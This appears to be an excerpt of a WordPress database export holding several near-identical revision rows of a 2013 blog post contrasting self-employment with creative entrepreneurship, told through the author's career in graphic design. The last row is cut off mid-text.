(2503, 2, '2013-08-26 10:46:42', '2013-08-26 17:46:42', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\n\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\n\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\n\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\n\nCReative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\n\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\n\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\n\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\n\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\n\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\n\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\n\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\n\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\n\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\n\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\n\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\n\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\n\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\n\nYou may wonder if my new business is financially successful? Not yet. Do I feel confident, accomplished and successful? Absolutely!\n\n<strong>The Moral of the Story.</strong>\n\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\n\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\n\nThe harvest is for the sower!\n\n&nbsp;\n\nIf you found this post helpful,', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision', '', '', '2013-08-26 10:46:42', '2013-08-26 17:46:42', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision/', 0, 'revision', '', 0),
(2506, 2, '2013-08-26 10:53:41', '2013-08-26 17:53:41', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\n\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\n\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\n\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\n\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\n\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\n\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\n\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\n\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\n\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\n\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\n\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\n\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\n\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\n\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\n\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\n\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\n\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\n\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\n\n<strong>The Moral of the Story.</strong>\n\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\n\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\n\nThe harvest is for the sower!\n\n&nbsp;\n\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-4', '', '', '2013-08-26 10:53:41', '2013-08-26 17:53:41', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-4/', 0, 'revision', '', 0);
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(2504, 2, '2013-08-26 10:47:28', '2013-08-26 17:47:28', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\r\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\r\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\r\n\r\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\r\n\r\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\r\n\r\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\r\n\r\nCReative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\r\n\r\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\r\n\r\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\r\n\r\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\r\n\r\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\r\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\r\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\r\n\r\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\r\n\r\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\r\n\r\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\r\n\r\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\r\n\r\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\r\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\r\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\r\n\r\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\r\n\r\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\r\n\r\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\r\n\r\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\r\n\r\nYou may wonder if my new business is financially successful? Not yet. Do I feel confident, accomplished and successful? Absolutely!\r\n\r\n<strong>The Moral of the Story.</strong>\r\n\r\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\r\n\r\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\r\n\r\nThe harvest is for the sower!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-2', '', '', '2013-08-26 10:47:28', '2013-08-26 17:47:28', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-2/', 0, 'revision', '', 0),
(2505, 2, '2013-08-26 10:47:38', '2013-08-26 17:47:38', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\r\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\r\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\r\n\r\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\r\n\r\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\r\n\r\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\r\n\r\nCReative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\r\n\r\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\r\n\r\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\r\n\r\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\r\n\r\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\r\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\r\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\r\n\r\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\r\n\r\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\r\n\r\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\r\n\r\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\r\n\r\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\r\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\r\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\r\n\r\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\r\n\r\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\r\n\r\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\r\n\r\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\r\n\r\nYou may wonder if my new business is financially successful? Not yet. Do I feel confident, accomplished and successful? Absolutely!\r\n\r\n<strong>The Moral of the Story.</strong>\r\n\r\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\r\n\r\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\r\n\r\nThe harvest is for the sower!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-3', '', '', '2013-08-26 10:47:38', '2013-08-26 17:47:38', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-3/', 0, 'revision', '', 0),
(2508, 2, '2013-08-26 10:56:56', '2013-08-26 17:56:56', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\n\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\n\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\n\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\n\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\n\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\n\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\n\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\n\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\n\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\n\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\n\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\n\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\n\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\n\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\n\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\n\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\n\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\n\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\n\n<strong>The Moral of the Story.</strong>\n\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\n\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\n\nThe harvest is for the sower!\n\n&nbsp;\n\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-Employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-6', '', '', '2013-08-26 10:56:56', '2013-08-26 17:56:56', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-6/', 0, 'revision', '', 0),
(2507, 2, '2013-08-26 10:55:26', '2013-08-26 17:55:26', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\r\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\r\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\r\n\r\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\r\n\r\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\r\n\r\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\r\n\r\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\r\n\r\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\r\n\r\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\r\n\r\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\r\n\r\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\r\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\r\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\r\n\r\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\r\n\r\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\r\n\r\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\r\n\r\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\r\n\r\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\r\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\r\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\r\n\r\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\r\n\r\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\r\n\r\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\r\n\r\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\r\n\r\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\r\n\r\n<strong>The Moral of the Story.</strong>\r\n\r\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of 